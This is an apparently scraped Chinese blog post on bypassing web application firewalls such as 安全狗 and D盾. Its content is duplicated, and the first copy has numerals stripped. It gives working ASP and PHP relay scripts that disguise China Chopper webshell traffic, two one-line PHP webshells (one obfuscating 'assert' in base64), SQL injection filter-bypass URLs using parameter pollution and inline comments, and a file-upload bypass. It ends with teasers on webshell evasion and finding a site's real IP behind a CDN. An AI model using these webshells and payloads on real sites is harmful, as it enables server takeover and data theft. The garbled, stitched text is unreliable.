0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;.asp/.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下
),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字
code:
<%
JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
JmStr=Replace(JmStr,"->|","-->|")
JmStr=Replace(JmStr,"@eval(","@eval (")
JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
JMUrl=request("dz")
response.write request("dz")
JmRef=JMUrl
JmCok=""
response.write PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
'.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, ))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + , ))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I +
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=""
Dim i
For i= To Len(vstrin)
ThisChr=Mid(vstrin,i,)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode< Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(),"%2B") 'JMDCW增加转换+字符
'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>
用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php 密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用
0x02## 中转(2) 若果上面脚本失效,可以使用这个
<?php
$webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";
$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
//print_r($data);
$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);
$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html;
?>
小马的话你可以把这两个丢进去:
<?php $a=$_GET['a'];$a($_POST['cmd']);?>
<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>;
用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀

0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;00.asp/00.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下
0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字
code:
02 |
JmStr=Replace(Request.Form,"$_POST","$_REQUEST") |
03 |
JmStr=Replace(JmStr,"->|","-->|") |
04 |
JmStr=Replace(JmStr,"@eval(","@eval (") |
05 |
JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String") |
07 |
response.write request("dz") |
10 |
response.write PostData(JMUrl,JmStr,JmCok,JmRef) |
11 |
Function PostData(PostUrl,PostStr,PostCok,PostRef) |
13 |
Set Http = Server.CreateObject("msxml2.serverXMLHTTP") |
15 |
.Open "POST",PostUrl,False |
16 |
.SetRequestHeader "Content-Length",Len(PostStr) |
17 |
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded" |
18 |
.SetRequestHeader "Referer",PostRef |
19 |
'.SetRequestHeader "Cookie",PostCok |
21 |
PostData = .ResponseBody |
24 |
PostData =bytes2BSTR(PostData) |
26 |
Function bytes2BSTR(vIn) |
28 |
Dim I, ThisCharCode, NextCharCode |
30 |
For I = 1 To LenB(vIn) |
31 |
ThisCharCode = AscB(MidB(vIn, I, 1)) |
32 |
If ThisCharCode < &H80 Then |
33 |
strReturn = strReturn & Chr(ThisCharCode) |
35 |
NextCharCode = AscB(MidB(vIn, I + 1, 1)) |
36 |
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 +CInt(NextCharCode)) |
40 |
bytes2BSTR = strReturn |
42 |
Function URLEncoding(vstrin) |
45 |
For i=1 To Len(vstrin) |
46 |
ThisChr=Mid(vstrin,i,1) |
47 |
if Abs(Asc(ThisChr))< &HFF Then |
48 |
strReturn=strReturn & ThisChr |
50 |
InnerCode=Asc(ThisChr) |
52 |
InnerCode=InnerCode + &H10000 |
54 |
Hight1=(InnerCode And &HFF00) \&HFF |
55 |
Low1=InnerCode And &HFF |
56 |
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) |
59 |
strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 |
60 |
strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 |
61 |
'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 |
用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php 密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用
0x02## 中转(2) 若果上面脚本失效,可以使用这个
03 |
$webshell=$webshell."?&1141056911=base64_decode"; |
06 |
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data);//接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( |
08 |
$data = http_build_query($data); |
12 |
'header'=> "Content-type: application/x-www-form-urlencoded\r\n". |
13 |
"Content-Length: " . strlen($data) . "\r\n", |
16 |
$context = stream_context_create($opts); |
17 |
$html = @file_get_contents($webshell, false, $context); //发送post |
小马的话你可以把这两个丢进去:
1 |
<?php $a=$_GET['a'];$a($_POST['cmd']);?> |
2 |
<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>; |
用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀

0x03## 伪装user-agent
网上工具有很多,你可以随便找一个用,firfox也是比较强大的,我用的是铁鹰兄的WAF绕过神器来做试验的,地址放在下面

首先假设一个代理,ie设置之后,那么ie的流量就从这个端口过。
指定域名,也就是只正对目标站修改user-agent,减少工作量。
get改为post好像是过智创waf的吧。
0x04## 复参数绕过
比如一个请求是这样的
GET http://www.sec.com/pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET http://www.sec.com/pen/news.php?id=1&;;id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,目前安全狗的话可以绕过一丢丢语句
0x05## 番外篇 SQL注入绕过
ok,首先来一发demo存在SQL注入漏洞的php
02 |
$uid = $_REQUEST['id']; |
03 |
if(!$conn = @mysql_connect("localhost", "root", "123456")) |
04 |
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.'); |
05 |
if(!@mysql_select_db("supe",$conn)) |
06 |
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server."); |
07 |
$text = "select * from supe_members where uid=".$uid; |
08 |
$rs = mysql_query ($text,$conn); |
09 |
while($rom = mysql_fetch_array($rs)) |
11 |
echo $rom["username"]; |
因为用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/*/是不行的,安全狗也防了这块。但是对内联注释/!and*/这种不知道为什么安全狗没有拦截。 我用下面的语句居然成功绕过SQL注入过滤: http://www.sec.com/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17
0x05## 番外篇 上传绕过 我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是i |
- 绕过WAF、安全狗知识整理
0x01 前言 目前市场上的WAF主要有以下几类 1. 以安全狗为代表的基于软件WAF 2. 百度加速乐.安全宝等部署在云端的WAF 3. 硬件WAF WAF的检测主要有三个阶段,我画了一张图进行说明 ...
- 绕过D盾的一句话
一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a=" ...
- webshell绕过D盾
PHP常见的代码执行函数: eval() assert() preg_replace() create_function() array_map() call_user_func() call_use ...
- 绕过D盾的php一句话
d_dun.php <?php $a = '小狗狗你好啊'; $b = '小盾盾你好啊'; foreach ($_REQUEST as $key => $value) { $$key = ...
- 绕过云盾找真实IP-找真实IP-绕过CDN
目标站:www.chinaparkview.cn 云盾挡着了 查一下历史IP 查出3月9号的IP是103.249.104.114 当然查出来的不一定准确 修改本地host文件 PS:不要加http 然 ...
- 如何自己写aspx过狗D盾一句话木马
hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...
- 绕过安全狗等一些WAF收集
绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- 渗透测试学习 二十八、WAF绕过详解
大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...
随机推荐
- 【python】获取高德地图省市区县列表
项目中需要用省市区来进行检索,原想高德地图肯定会有API来获得这些数据,结果没有找到,有一个接口好像可以用,但是会附带大量的边界坐标点. 所以就不如自己把高德的省市区列表扒下来,自己写接口来完成这个功 ...
- CSS3边框温故
1.简介:border属性在CSS1中就已经定义了,用来设置元素边框风格,设置不同的边框.颜色.粗细 2.基本属性,包括三个类型值:(1)border-width:设置元素边框的粗细,默认3~4px( ...
- Python基础(5)--字典
字典由多个键及与其对应的值构成的对组成(把键值对成为项),每个键和它的值之间用冒号(:)隔开,项之间用逗号(,)隔开,而整个字典由一对大括号括起来.空字典由两个大括号组成:{} 本文地址:http:/ ...
- storyBoard配置错误导致崩溃 superview]: unrecognized selector...
控制台打印崩溃原因 [TaskStartVC superview]: unrecognized selector sent to instance RT TaskStartVC是一个同storyBoa ...
- IOS 二维码生成
这篇博客将会介绍二维码的生成. 由于没有什么东西值得长篇大论的,所以这里我就通过代码的实现介绍二维码. 第一部分 第一部分是二维码的简单生成没有其他重点介绍. 效果图 代码部分 // // ViewC ...
- Retrofit源码设计模式解析(下)
本文将接着<Retrofit源码设计模式解析(上)>,继续分享以下设计模式在Retrofit中的应用: 适配器模式 策略模式 观察者模式 单例模式 原型模式 享元模式 一.适配器模式 在上 ...
- 捡火柴的Nova君(n个线段相交问题)
题目来源:https://biancheng.love/contest-ng/index.html#/41/problems 捡火柴的Nova君 题目描述 南方没暖气,怕冷的的宝宝们只能用火柴取暖.然 ...
- linux+jre+apache+mysql+tomcat调优
一.不再为Apache进程淤积.耗尽内存而困扰 0. /etc/my.cnf,在mysqld那一段加上如下一行: log-slow-queries=queries-slow.log 重启MySQL 酌 ...
- mysql 批量更新与批量更新多条记录的不同值实现方法
批量更新 mysql更新语句很简单,更新一条数据的某个字段,一般这样写: 代码如下: UPDATE mytable SET myfield = 'value' WHERE other_field = ...
- maven 错误No goals have been specified for this build. You must specify a valid lifecycle phase or a goal in the format
[INFO] Scanning for projects... [INFO] ------------------------------------------------------------- ...